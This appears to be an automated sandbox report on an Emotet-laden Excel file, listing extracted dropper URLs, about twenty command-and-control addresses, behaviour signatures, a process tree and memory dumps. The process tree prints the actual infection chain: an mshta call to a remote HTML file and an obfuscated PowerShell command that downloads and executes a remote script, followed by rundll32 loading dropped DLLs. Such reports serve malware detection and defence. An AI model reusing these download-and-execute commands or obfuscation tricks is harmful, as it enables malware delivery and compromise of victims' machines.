Analysis
- max time kernel
122s - max time network
145s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
28/01/2022, 16:04
General
- Target ommegaonline.org.xls
- Size 155KB
- Sample220128-thzdxsgcfm
- SHA256 c42299b811eb43690abd13df31daa2b5b067e0e790650e154a7cee9fc5c97bae
Malware Config
Extracted
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hta
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hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html
Extracted
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ps1
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ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png
Extracted
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emotet
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Epoch4
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160.16.102.168:80
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131.100.24.231:80
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200.17.134.35:7080
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207.38.84.195:8080
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212.237.56.116:7080
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58.227.42.236:80
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104.251.214.46:8080
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158.69.222.101:443
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192.254.71.210:443
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46.55.222.11:443
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45.118.135.203:7080
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107.182.225.142:8080
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103.75.201.2:443
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104.168.155.129:8080
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195.154.133.20:443
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159.8.59.82:8080
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110.232.117.186:8080
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45.142.114.231:8080
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41.76.108.46:8080
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203.114.109.124:443
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 6 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ommegaonline.org.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.168/zqqw/zaas/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wyehbnob\ejdtjv.zka",eCpdXqa8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wyehbnob\ejdtjv.zka",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1200 -s 22644⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1196-320-0x000001935C680000-0x000001935C6F6000-memory.dmp
memory/1196-499-0x0000019343ED0000-0x000001935BFE0000-memory.dmp
memory/1196-434-0x0000019343ED0000-0x000001935BFE0000-memory.dmp
memory/1196-355-0x0000019343ED0000-0x000001935BFE0000-memory.dmp
memory/1196-290-0x000001935BFE0000-0x000001935C002000-memory.dmp
memory/1196-309-0x000001935C5C0000-0x000001935C5FC000-memory.dmp
memory/1208-631-0x0000000001180000-0x00000000011A5000-memory.dmp
memory/1208-629-0x0000000000CA0000-0x0000000000CC5000-memory.dmp
memory/1208-656-0x0000000004BC0000-0x0000000004BE5000-memory.dmp
memory/1208-654-0x0000000004A50000-0x0000000004A75000-memory.dmp
memory/1208-652-0x00000000049F0000-0x0000000004A15000-memory.dmp
memory/1208-650-0x0000000004990000-0x00000000049B5000-memory.dmp
memory/2496-116-0x00007FF9EE7F0000-0x00007FF9EE800000-memory.dmp
memory/2496-685-0x00007FF9EE7F0000-0x00007FF9EE800000-memory.dmp
memory/2496-688-0x00007FF9EE7F0000-0x00007FF9EE800000-memory.dmp
memory/2496-115-0x00007FF9EE7F0000-0x00007FF9EE800000-memory.dmp
memory/2496-117-0x00007FF9EE7F0000-0x00007FF9EE800000-memory.dmp
memory/2496-118-0x00007FF9EE7F0000-0x00007FF9EE800000-memory.dmp
memory/2496-119-0x00007FF9EE7F0000-0x00007FF9EE800000-memory.dmp
memory/2496-128-0x00007FF9EB050000-0x00007FF9EB060000-memory.dmp
memory/2496-687-0x00007FF9EE7F0000-0x00007FF9EE800000-memory.dmp
memory/2496-686-0x00007FF9EE7F0000-0x00007FF9EE800000-memory.dmp
memory/2496-129-0x00007FF9EB050000-0x00007FF9EB060000-memory.dmp
memory/3168-657-0x0000000000B80000-0x0000000000BA5000-memory.dmp
memory/3172-666-0x0000000004F80000-0x0000000004FA5000-memory.dmp
memory/3172-670-0x0000000005140000-0x0000000005165000-memory.dmp
memory/3172-672-0x0000000005240000-0x0000000005265000-memory.dmp
memory/3172-674-0x0000000005430000-0x0000000005455000-memory.dmp
memory/3172-680-0x00000000054B0000-0x00000000054D5000-memory.dmp
memory/3172-668-0x0000000005060000-0x0000000005085000-memory.dmp
memory/3172-662-0x0000000004CC0000-0x0000000004CE5000-memory.dmp
memory/3172-659-0x00000000011D0000-0x00000000011F5000-memory.dmp
memory/3372-626-0x0000000001120000-0x0000000001145000-memory.dmp